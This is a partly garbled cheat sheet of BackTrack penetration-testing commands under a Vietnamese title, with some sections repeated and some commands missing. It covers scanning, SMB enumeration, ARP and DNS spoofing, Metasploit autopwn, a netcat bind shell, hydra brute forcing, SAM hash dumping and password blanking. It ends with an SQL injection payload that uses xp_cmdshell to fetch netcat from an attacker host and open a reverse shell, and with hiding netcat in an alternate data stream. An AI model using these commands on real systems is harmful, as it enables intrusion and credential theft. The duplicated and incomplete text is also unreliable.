Các lệnh cơ bản dùng trong BackTrack
Các lệnh cơ bản dùng trong BackTrack
Networking
dhcpcd
dhcpcd -k
ifconfig eth0 up
dhcpcd
Static IP address:
Services
Apache server:
apachectl start
apachectl stop
SSH server:
sshd-generate
/usr/sbin/sshd
pkill sshd
ssh user@targetIP
TFTP server:
pkill tftpd
VNC server:
vncserver
pkill Xvnc
Basics
ls -l /mnt/hda1
ls -l /mnt/share/
umount /mnt/share
Edit a file:
nano test.sh
<ctrl> x
y
<enter>
./test.sh
Compile a program:
./dcom
./configure
make
su root
make install
Footprinting
Whois:
whois target.com
ping www.target.com
whois targetIP
DNS:
PTR
NS
SOA
SRV
MX
1.
Bullet CentralOps
2.
Bullet DNSstuff
3.
Bullet ServerSniff
4.
Bullet Netcraft
Exploits
cd /pentest/exploits/milw0rm
Some exploits may be written for compilation under Windows, while others for Linux.
You can identify the environment by inspecting the headers.
cat sploitlist.txt | grep -i exploit | cut -d " " -f1 | xargs grep sys | cut -d ":" -f1 | sort -u
Scanning
nmap:
-sS
-sT
-sU
-PS
-PA
-PN
-n
-A
-O
-sV
-p
-T
-iL
-oG
amap:
Take the results from nmap and check for services on uncommon ports.
amap -i scan.txt
1.
OS Fingerprinting
p0f -i eth0 -U -p
xprobe2 targetIP
1.
nc targetIP port
nc 10.1.1.2 80
HEAD /HTTP/1.0
<enter 2x>
wget targetIP
Exploits
cd /pentest/exploits/milw0rm
Some exploits may be written for compilation under Windows, while others for Linux.
cat sploitlist.txt | grep -i exploit | cut -d " " -f1 | xargs grep sys | cut -d ":" -f1 | sort -u
1.
Windows Enumeration
nbtscan -f targetIP
smbgetserverinfo -i targetIP
smbdumpusers -i targetIP
smbclient -L //targetIP
smbclient:
rpcclient:
rpcclient targetIP -U “”
netshareenum
enumdomusers
lsaenumsid
queryuser RID
createdomuser
ARP Spoofing
ettercap:
nano /usr/local/etc/etter.conf
dsniff -i eth0
urlsnarf -i eth0
msgsnarf -i eth0
driftnet -i eth0
dns spoofing:
nano /usr/local/share/ettercap/etter.dns
cd /pentest/exploits/milw0rm
Some exploits may be written for compilation under Windows, while others for Linux.
cat sploitlist.txt | grep -i exploit | cut -d " " -f1 | xargs grep sys | cut -d ":" -f1 | sort -u
1.
Metasploit
svn update
Web Interface:
./msfweb
Console:
./msfconsole
help
show <option>
search <name>
show options
show payloads
show targets
exploit
Interactive sessions:
sessions -l
sessions -i <ID>
sessions -k <ID>
<ctrl> z
<ctrl> c
jobs
jobs -K
Auxiliary scanners:
show auxiliary
scanner/discovery/sweep_udp
scanner/smb/version
scanner/mssql/mssql_ping
scanner/mssql/mssql_login
Payloads:
Bullet Meterpreter
Automated:
db_import_nessus_nbe
db_import_nmap_xml
cd /pentest/exploit/framework3
./msfconsole
load db_sqlite3
db_destroy pentest
db_create pentest
db_nmap targetIP
db_hosts
db_services
db_autopwn
db_autopwn -t -p -e
Payload generator:
C C language
P Perl
y Ruby
J JavaScript
X Windows executable
Encode shellcode:
Pipe the output of msfpayload into msfencode, show bad characters and list available
encoders.
1.
Metasploit
svn update
Web Interface:
./msfweb
Console:
./msfconsole
help
show <option>
search <name>
show options
show payloads
show targets
exploit
Interactive sessions:
sessions -l
sessions -i <ID>
sessions -k <ID>
<ctrl> z
<ctrl> c
jobs
jobs -K
Auxiliary scanners:
show auxiliary
run
scanner/discovery/sweep_udp
scanner/smb/version
scanner/mssql/mssql_ping
scanner/mssql/mssql_login
Payloads:
Attacker behind firewall: bind shell
1.
Bullet Meterpreter
Automated:
db_import_nessus_nbe
db_import_nmap_xml
cd /pentest/exploit/framework3
./msfconsole
load db_sqlite3
db_destroy pentest
db_create pentest
db_nmap targetIP
db_hosts
db_services
db_autopwn
db_autopwn -t -p -e
C C language
P Perl
y Ruby
J JavaScript
X Windows executable
Encode shellcode:
Pipe the output of msfpayload into msfencode, show bad characters and list available
encoders.
1.
TFTP
attack box 10.1.1.2
cp /pentest/windows-binaries/tools/nc.exe /tmp/
target box
TFTP copies files with read only attributes. So to delete the file:
attrib -r nc.exe
del nc.exe
1.
Netcat
attacker: 10.1.1.1
target: 10.1.1.2
Port scanner:
nc -v -z 10.1.1.2 1-1024
Chat session:
Bind shell:
target: nc -lvp 4444 -e cmd.exe
Reverse shell:
You will not see a prompt. Issue any linux command to verify.
scan ports 1 to 1024
Passwords
Word list:
cat words | wc -l
Brute force:
snmp
hydra -P words -v targetIP snmp
Microsoft VPN
dos2unix words
WYD:
SAM file:
%SYSTEMROOT%/system32/config
%SYSTEMROOT%/repair
Dumping hashes:
nano hash.txt
cp hash.txt /pentest/password/john-1.7.2/run/
cd /pentest/password/john-1.7.2/run/
./john hash.txt
Physical Access
mount
umount /mnt/hda1
modprobe fuse
mount
ls -l /mnt/hda1
cat hash.txt
chntpw /mnt/sda1/WINDOWS/system32/config/SAM
Blank the password. *
unmount /mnt/sda1
reboot
SQL Injection
Release
Authentication bypass:
' or 1=1--
Enumerating table names:
Adding data:
Output the database info into an html file, that you can view with a browser.
www.target.com/test.html
Run ipconfig on target and write to a file, that you can view with a browser.
www.target.com/test.txt
' or 1=1; exec master..xp_cmdshell ' "tftp -i attackIP GET nc.exe && nc.exe attackIP 53
-e cmd.exe' ; --
attacker: nc -lvp 53
Hide netcat inside a text file. Note netcat must be located in the current directory.
del nc.exe
start ./test.txt:nc.exe